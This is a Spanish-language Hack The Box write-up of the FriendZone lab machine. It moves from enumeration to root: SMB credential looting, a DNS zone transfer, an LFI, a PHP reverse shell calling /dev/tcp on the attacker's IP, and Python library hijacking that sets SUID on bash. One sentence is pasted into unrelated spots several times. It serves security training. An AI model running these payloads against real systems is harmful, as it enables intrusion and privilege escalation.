FriendZone - Hack The Box

⮕ Maquina Linux

❯ ping -c 1 10.10.10.123
PING 10.10.10.123 (10.10.10.123) 56(84) bytes of data.
64 bytes from 10.10.10.123: icmp_seq=1 ttl=63 time=110 ms

--- 10.10.10.123 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 109.781/109.781/109.781/0.000 ms
❯ whichSystem.py 10.10.10.123

10.10.10.123 (ttl -> 63): Linux

PortScan

❯ nmap -sCV -p21,22,53,80,139,443,445 10.10.10.123 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 17:59 CST
Nmap scan report for 10.10.10.123
Host is up (0.12s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
|   256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_  256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1h00m01s, deviation: 1h43m54s, median: -2s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2023-06-23T03:00:03+03:00
| smb2-time: 
|   date: 2023-06-23T00:00:04
|_  start_date: N/A
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
❯ nmap --script=http-enum -p80 10.10.10.123 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 18:01 CST
Nmap scan report for 10.10.10.123
Host is up (0.11s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /wordpress/: Blog
|_  /robots.txt: Robots file

Enumeracion

Buenos vemos muchos puertos abiertos así que tenemos mucho que enumerar

Vimos el puerto del servicio FTP abierto pero como tal Nmap no nos reporto que podemos conectarnos con el usuario anonymous entonces como tal no tenemos credenciales y no podemos ver nada

❯ ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:miguel7): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> 

También vemos el puerto de SMB abierto así que podemos enumerar mediante eso también

Tenemos permiso de escritura y lectura en el recurso Development y el el recurso general solo podemos leer

❯ smbmap -H 10.10.10.123
[+] Guest session   	IP: 10.10.10.123:445	Name: 10.10.10.123                                      
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	Files                                             	NO ACCESS	FriendZone Samba Server Files /etc/Files
	general                                           	READ ONLY	FriendZone Samba Server Files
	Development                                       	READ, WRITE	FriendZone Samba Server Files
	IPC$                                              	NO ACCESS	IPC Service (FriendZone server (Samba, Ubuntu))

Si listamos que hay dentro de general hay un archivo que se llama creds.txt

❯ smbmap -H 10.10.10.123 -r general
[+] Guest session   	IP: 10.10.10.123:445	Name: 10.10.10.123                                      
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	general                                           	READ ONLY	
	.\general\*
	dr--r--r--                0 Wed Jan 16 14:10:51 2019	.
	dr--r--r--                0 Tue Sep 13 09:56:24 2022	..
	fr--r--r--               57 Tue Oct  9 18:52:42 2018	creds.txt

Vamos a dVemos un panel de login en el subdominio que empieza con administrator escargarlo

❯ smbmap -H 10.10.10.123 --download general/creds.txt
[+] Starting download: general\creds.txt (57 bytes)
[+] File output to: /home/miguel7/Hackthebox/FriendZone/nmap/10.10.10.123-general_creds.txt

Este es el contenido son credenciales

❯ catn 10.10.10.123-general_creds.txt
creds for the admin THING:

admin:WORKWORKHhallelujah@#

Vamos a probarlas primero por el protocolo FTP pero son incorrectas

❯ ftp 10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
Name (10.10.10.123:miguel7): admin
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> 

Vemos un panel de login en el subdominio que empieza con administrator Ahora si probamos con SMB a un recurso vemos que nos deja

❯ smbclient //10.10.10.123/general -U admin%WORKWORKHhallelujah@#
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jan 16 14:10:51 2019
  ..                                  D        0  Tue Sep 13 09:56:24 2022
  creds.txt                           N       57  Tue Oct  9 18:52:42 2018

		3545824 blocks of size 1024. 1651008 blocks available
smb: \> 

No vemos nada en la ruta Development pero bueno podemos subir cosas pero de primeras vamos a ver la pagina web para ver si en alguna parte se suben los recursos

❯ smbclient //10.10.10.123/Development -U admin%WORKWORKHhallelujah@#
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jun 22 18:22:10 2023
  ..                                  D        0  Tue Sep 13 09:56:24 2022

		3545824 blocks of size 1024. 1651008 blocks available
smb: \> 

Estos son los servicios que corren el servicio web

 whatweb http://10.10.10.123
http://10.10.10.123 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[iVemos un panel de login en el subdominio que empieza con **administrator** nfo@friendzoneportal.red], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.123], Title[Friend Zone Escape software]

Y bueno esta es la pagina web la parecer nos dicen que si hemos estado en la friendzone

Con el escaneo de Nmap que hicimos lanzando el script http-enum vimos algunas rutas vamos a ver si podemos verlas

Pues bueno nada interesante

En la ruta robots.txt vemos esto

❯ curl -s http://10.10.10.123/robots.txt
seriously ?!

Vamos aplicar Fuzzing para ver si encontramos algo diferente

❯ dirsearch -u http://10.10.10.123

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10903

Output File: /usr/lib/python3/dist-packages/dirsearch/reports/10.10.10.123/_23-06-22_18-29-46.txt

Error Log: /usr/lib/python3/dist-packages/dirsearch/logs/errors-23-06-22_18-29-46.log

Target: http://10.10.10.123/

[18:29:47] Starting: 
[18:29:53] 403 -  298B  - /.ht_wsr.txt
[18:29:53] 403 -  301B  - /.htaccess.bak1
[18:29:53] 403 -  301B  - /.htaccess.orig
[18:29:53] 403 -  303B  - /.htaccess.sample
[18:29:53] 403 -  301B  - /.htaccess.save
[18:29:53] 403 -  302B  - /.htaccess_extra
[18:29:53] 403 -  301B  - /.htaccess_orig
[18:29:53] 403 -  299B  - /.htaccess_sc
[18:29:53] 403 -  299B  - /.htaccessBAK
[18:29:53] 403 -  299B  - /.htaccessOLD
[18:29:53] 403 -  300B  - /.htaccessOLD2
[18:29:53] 403 -  291B  - /.htm
[18:29:53] 403 -  292B  - /.html
[18:29:53] 403 -  301B  - /.htpasswd_test
[18:29:53] 403 -  297B  - /.htpasswds
[18:29:53] 403 -  298B  - /.httr-oauth
[18:29:55] 403 -  291B  - /.php
[18:30:38] 200 -  324B  - /index.html
[18:30:38] 200 -   11KB - /index.bak
[18:30:54] 200 -   13B  - /robots.txt
[18:30:55] 403 -  300B  - /server-status
[18:30:55] 403 -  301B  - /server-status/
[18:31:04] 200 -  747B  - /wordpress/

Task Completed

Lo único nuevo que vemos es que hay un .bak vamos a descargarlo (al buscar el recurso en la web te lo descarga)

Pero bueno al parecer es una pagina por defecto

cat index.bak | html2text

[Ubuntu Logo]  Apache2 Ubuntu Default Page
It works!
This is the default welcome page used to test the correct operation of the
Apache2 server after installation on Ubuntu systems. It is based on the
equivalent page on Debian, from which the Ubuntu Apache packaging is derived.
If you can read this page, it means that the Apache HTTP server installed at
this site is working properly. You should replace this file (located at /var/
www/html/index.html) before continuing to operate your HTTP server.
If you are a normal user of this web site and don't know what this page is
about, this probably means that the site is currently unavailable due to
maintenance. If the problem persists, please contact the site's administrator.
Configuration Overview
Ubuntu's Apache2 default configuration is different from the upstream default
configuration, and split into several files optimized for interaction with
Ubuntu tools. The configuration system is fully documented in /usr/share/doc/
apache2/README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if
the apache2-doc package was installed on this server.
The configuration layout for an Apache2 web server installation on Ubuntu
systems is as follows:
/etc/apache2/
|-- apache2.conf
|       `--  ports.conf
|-- mods-enabled
|       |-- *.load
|       `-- *.conf
|-- conf-enabled
|       `-- *.conf
|-- sites-enabled
|       `-- *.conf
    * apache2.conf is the main configuration file. It puts the pieces together
      by including all remaining configuration files when starting up the web
      server.
    * ports.conf is always included from the main configuration file. It is
      used to determine the listening ports for incoming connections, and this
      file can be customized anytime.
    * Configuration files in the mods-enabled/, conf-enabled/ and sites-
      enabled/ directories contain particular configuration snippets which
      manage modules, global configuration fragments, or virtual host
      configurations, respectively.
    * They are activated by symlinking available configuration files from their
      respective *-available/ counterparts. These should be managed by using
      our helpers a2enmod, a2dismod, a2ensite, a2dissite, and a2enconf,
      a2disconf. See their respective man pages for detailed information.
    * The binary is called apache2. Due to the use of environment variables, in
      the default configuration, apache2 needs to be started/stopped with /etc/
      init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
      work with the default configuration.
Document Roots
By default, Ubuntu does not allow access through the web browser to any file
apart of those located in /var/www, public_html directories (when enabled) and
/usr/share (for web applications). If your site is using a web document root
located elsewhere (such as in /srv) you may need to whitelist your document
root directory in /etc/apache2/apache2.conf.
The default Ubuntu document root is /var/www/html. You can make your own
virtual hosts under /var/www. This is different to previous releases which
provides better security out of the box.
Reporting Problems
Please use the ubuntu-bug tool to report bugs in the Apache2 package with
Ubuntu. However, check existing_bug_reports before reporting a new bug.
Please report bugs specific to modules (such as PHP and others) to respective
packages, not to the web server itself.

Cuando vimos la captura de Nmap vimos varios subdominios así que vamos agregarlos al /etc/hosts puede que nos sirvan de algo

echo "10.10.10.123 friendzone.red friendzoneportal.red" | sudo tee -a /etc/hosts
10.10.10.123 friendzone.red friendzoneportal.red

Antes de enumerar ese puerto vamos a ver si podemos ver algo diferente en esos subdominios

Bueno esto nos indica que tenemos que ir al gym para salir de la friendzone

Vamos a ver el código fuente para ver si encontramos algo interesante

Si vamos a la ruta vemos esto que es interesante ese tipo hash es dinámico va cambiando cada que recargas la pagina

En el otro subdominio vemos esto

Zone-transfer

Bueno el puerto 53 esta abierto vamos a usar la herramienta dig para enumerar este servicio con esta herramienta podemos tramitar peticiones DNS https://book.hacktricks.xyz/network-services-pentesting/pentesting-dns

Sabemos el dominio que es friendzone.red

❯ dig @10.10.10.123 friendzone.red

; <<>> DiG 9.18.12-1~bpo11+1-Debian <<>> @10.10.10.123 friendzone.red
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4837
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 777619f2b10c3fc0f0db2beb6494f3b4304fc8a244b6f983 (good)
;; QUESTION SECTION:
;friendzone.red.			IN	A

;; ANSWER SECTION:
friendzone.red.		604800	IN	A	127.0.0.1

;; AUTHORITY SECTION:
friendzone.red.		604800	IN	NS	localhost.Vemos un panel de login en el subdominio que empieza con **administrator** 

;; ADDITIONAL SECTION:
localhost.		604800	IN	A	127.0.0.1
localhost.		604800	IN	AAAA	::1

;; Query time: 113 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (UDP)
;; WHEN: Thu Jun 22 19:21:56 CST 2023
;; MSG SIZE  rcvd: 154

Vamos a enumerar los name servers pero no vemos cosas interesantes

❯ dig @10.10.10.123 friendzone.red ns

; <<>> DiG 9.18.12-1~bpo11+1-Debian <<>> @10.10.10.123 friendzone.red ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9926
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d8845f38b89a6943da5bed666494f3f050b4c37c519d2381 (good)
;; QUESTION SECTION:
;friendzone.red.			IN	NS

;; ANSWER SECTION:
friendzone.red.		604800	IN	NS	localhost.

;; ADDITIONAL SECTION:
localhost.		604800	IN	A	127.0.0.1
localhost.		604800	IN	AAAA	::1

;; Query time: 110 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (UDP)
;; WHEN: Thu Jun 22 19:22:56 CST 2023
;; MSG SIZE  rcvd: 138

Ahora vamos vamos a enumerar los servidores de correo pero nada

❯ dig @10.10.10.123 friendzone.red mx

; <<>> DiG 9.18.12-1~bpo11+1-Debian <<>> @10.10.10.123 friendzone.red mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 569
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4eff7c1dced81066f987f1cd6494f440514a35423aff8ee8 (good)
;; QUESTION SECTION:
;friendzone.red.			IN	MX

;; AUTHORITY SECTION:
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800

;; Query time: 113 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (UDP)
;; WHEN: Thu Jun 22 19:24:16 CST 2023
;; MSG SIZE  rcvd: 121

Un ataque común es el de transferencia de zona que nos permite obtener múltiples subdominios asociados al dominio

❯ dig @10.10.10.123 friendzone.red axfr

; <<>> DiG 9.18.12-1~bpo11+1-Debian <<>> @10.10.10.123 friendzone.red axfr
; (1 server found)
;; global options: +cmd
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.		604800	IN	AAAA	::1
friendzone.red.		604800	IN	NS	localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 116 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Thu Jun 22 19:25:33 CST 2023
;; XFR size: 8 records (messages 1, bytes 289)

Vamos agregar los nuevos al /etc/hosts

cat /etc/hosts | tail -n 1
10.10.10.123 friendzone.red friendzoneportal.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red

Vemos un panel de login en el subdominio que empieza con administrator

Este como tal no funciona

Y bueno podemos subir archivos eso parece

Vamos a ver si con las credenciales que tenemos podemos autenticarnos en el panel de login

Al darle a login esto pasa

Vamos a ir ala dirección donde nos indican y esto es lo que vemos

Y bueno nos están diciendo que falta parámetros vamos a ingresarlos y pasa esto

La url ya se ve interesante y ademas nos están diciendo que están lidiando con un developer principiante así que si es principiante pues podemos indicar hacer un LFI

Y bueno no pasa nada

Lo mas probable es que le este metiendo la extensión .php al final si probamos diciéndole que nos muestre el dashboard ya que es .php sin decirle la ruta vemos que lo hace

Bueno si nos ponemos a pensar mediante SMB podemos subir archivos en un recurso compartido a nivel de red ya que tenemos capacidad de escritura y lectura y como en la ruta https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=algo le esta concatenando el .php podemos subir un archivo que contenga código en php para ver si lo interpreta y apuntaremos al archivo mediante el LFI pero bueno la gran pregunta bajo que ruta lo sube bueno si revisamos con smbmap esto

❯ smbmap -H 10.10.10.123
[+] Guest session   	IP: 10.10.10.123:445	Name: friendzone.red                                    
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	Files                                             	NO ACCESS	FriendZone Samba Server Files /etc/Files
	general                                           	READ ONLY	FriendZone Samba Server Files
	Development                                       	READ, WRITE	FriendZone Samba Server Files
	IPC$                                              	NO ACCESS	IPC Service (FriendZone server (Samba, Ubuntu))

Nos esta diciendo que la ruta Files esta bajo la ruta /etc/Files entonces lo mas probable es que también la ruta donde podemos escribir podremos ver lo que hay en /etc/Development así que vamos a hacer una prueba

touch xd.php
❯ nano xd.php
❯ catn xd.php
<?php
	system("whoami");
?>

Ahora lo subimos

❯ smbclient //10.10.10.123/Development -U admin%WORKWORKHhallelujah@#
Try "help" to get a list of possible commands.
smb: \> put xd.php
putting file xd.php as \xd.php (0.1 kb/s) (average 0.1 kb/s)
smb: \> 

Y si verificamos funciona

Shell as www-data

Pues bueno ahora vamos a ganar acceso ala maquina

cat pwned.php
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: pwned.php
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │         system("bash -c 'bash -i >& /dev/tcp/10.10.14.12/443 0>&1'");
   3   │ ?>
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora lo subimos

smb: \> put pwned.php
putting file pwned.php as \pwned.php (0.2 kb/s) (average 0.1 kb/s)
smb: \> 

Nos podemos en escucha por el puerto indicado

❯ nc -nlvp 443
listening on [any] 443 ...

Le damos al enter

Y ganamos acceso

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.123] 40254
bash: cannot set terminal process group (904): Inappropriate ioctl for device
bash: no job control in this shell
www-data@FriendZone:/var/www/admin$ whoami
whoami
www-data
www-data@FriendZone:/var/www/admin$ 

Ahora hacemos un tratamiento de la tty

www-data@FriendZone:/var/www/admin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@FriendZone:/var/www/admin$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
ENTER
www-data@FriendZone:/var/www/admin$ export TERM=xterm

Hay un usuario llamado friend

www-data@FriendZone:/var/www/admin$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
www-data@FriendZone:/var/www/admin$ 

User flag

www-data@FriendZone:/home/friend$ ls
user.txt
www-data@FriendZone:/home/friend$ cat user.txt 
9102cea1450c80c3b0184f111378cf14
www-data@FriendZone:/home/friend$ 

Bueno si nos vamos ala ruta /var/www vemos esto

www-data@FriendZone:/var/www$ ls -la
total 36
drwxr-xr-x  8 root root 4096 Sep 13  2022 .
drwxr-xr-x 12 root root 4096 Sep 13  2022 ..
drwxr-xr-x  3 root root 4096 Sep 13  2022 admin
drwxr-xr-x  4 root root 4096 Sep 13  2022 friendzone
drwxr-xr-x  2 root root 4096 Sep 13  2022 friendzoneportal
drwxr-xr-x  2 root root 4096 Sep 13  2022 friendzoneportaladmin
drwxr-xr-x  3 root root 4096 Sep 13  2022 html
-rw-r--r--  1 root root  116 Oct  6  2018 mysql_data.conf
drwxr-xr-x  3 root root 4096 Sep 13  2022 uploads
www-data@FriendZone:/var/www$ 

Y si vemos el mysql_data.conf vemos esto

www-data@FriendZone:/var/www$ cat mysql_data.conf 
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ
www-data@FriendZone:/var/www$ 

Vemos las credenciales de friend:Agpyu12!0.213$

Shell as friend

Nos podemos conectar por SSH

❯ ssh friend@10.10.10.123
friend@10.10.10.123's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
friend@FriendZone:~$ 

Escalada de privilegios

Bueno si buscamos por privilegios SUID vemos esto que nos es interesante de momento

friend@FriendZone:/$ find \-perm -4000 2>/dev/null
./bin/fusermount
./bin/umount
./bin/mount
./bin/su
./bin/ntfs-3g
./bin/ping
./usr/bin/passwd
./usr/bin/traceroute6.iputils
./usr/bin/newgrp
./usr/bin/sudo
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/chfn
./usr/sbin/exim4
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
friend@FriendZone:/$ 

Aqui hay un script en Python3 que esta incompleto lo que podemos hacer es subir el Pspy para ver si se esta ejecutando https://github.com/DominicBreuker/pspy/releases

friend@FriendZone:/dev/shm$ cat /opt/server_admin/reporter.py
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer
friend@FriendZone:/dev/shm$ 


❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.123 - - [23/Jun/2023 10:35:04] "GET /pspy64 HTTP/1.1" 200 -
friend@FriendZone:/dev/shm$ wget http://10.10.14.12:80/pspy64
--2023-06-23 19:35:04--  http://10.10.14.12/pspy64
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                          100%[=======================================================>]   2.96M  42.4KB/s    in 54s     

2023-06-23 19:35:58 (56.2 KB/s) - ‘pspy64’ saved [3104768/3104768]

friend@FriendZone:/dev/shm$ 

Ahora si ejecutamos el script vemos que efectivamente se esta ejecutando el Script

En el script lo único que esta haciendo es importando la librería os y 2 variables donde se almacenan 2 direcciones de correo las demás lineas están comentadas y por ultimo esta haciendo un print pero bueno como root esta ejecutando el script y como esta importando la librería os en Python3 podemos usarla para ejecutar un comando a nivel de sistema podemos hacer un Python Library Hijacking

Python Library Hijacking

Primero vamos a ver donde esta os.py esta dentro de python2.7 y otro en python3.6

friend@FriendZone:/dev/shm$ locate os.py
/usr/lib/python2.7/os.py
/usr/lib/python2.7/os.pyc
/usr/lib/python2.7/dist-packages/samba/provision/kerberos.py
/usr/lib/python2.7/dist-packages/samba/provision/kerberos.pyc
/usr/lib/python2.7/encodings/palmos.py
/usr/lib/python2.7/encodings/palmos.pyc
/usr/lib/python3/dist-packages/LanguageSelector/macros.py
/usr/lib/python3.6/os.py
/usr/lib/python3.6/encodings/palmos.py
friend@FriendZone:/dev/shm$ 

Si vemos quien es el propietario es root y ademas tenemos capacidad de escritura así que podemos alterar lo que hay o almacenar otras cosas

friend@FriendZone:/dev/shm$ ls -l /usr/lib/ | grep "python2.7"
drwxrwxrwx 27 root root  16384 Sep 13  2022 python2.7
friend@FriendZone:/dev/shm$ 

Hay vemos el os.py

friend@FriendZone:/usr/lib/python2.7$ ls -l os.py
-rwxrwxrwx 1 root root 25910 Jan 15  2019 os.py
friend@FriendZone:/usr/lib/python2.7$ 

Vamos a alterar el contenido al final del Script le vamos a decir que mediante system ya que estamos en la librería os le asigne privilegios SUID ala bash para solo hacer un bash -p y estar como root

friend@FriendZone:/usr/lib/python2.7$ cat os.py | tail -n 1
system("chmod u+s /bin/bash")
friend@FriendZone:/usr/lib/python2.7$ 

Asta ahora la bash sigue igual

friend@FriendZone:/usr/lib/python2.7$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
friend@FriendZone:/usr/lib/python2.7$ 

Vamos a esperar a que root ejecute la tarea y cuando se importe la librería os.py la bash sera vulnerable

Después de un momento se ejecuta la tarea

friend@FriendZone:/usr/lib/python2.7$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
friend@FriendZone:/usr/lib/python2.7$ 

Shell as root && root.txt

friend@FriendZone:/usr/lib/python2.7$ bash -p
bash-4.4# cd /root
bash-4.4# cat root.txt 
6f8fcc773803f7762e546e281f01b232
bash-4.4#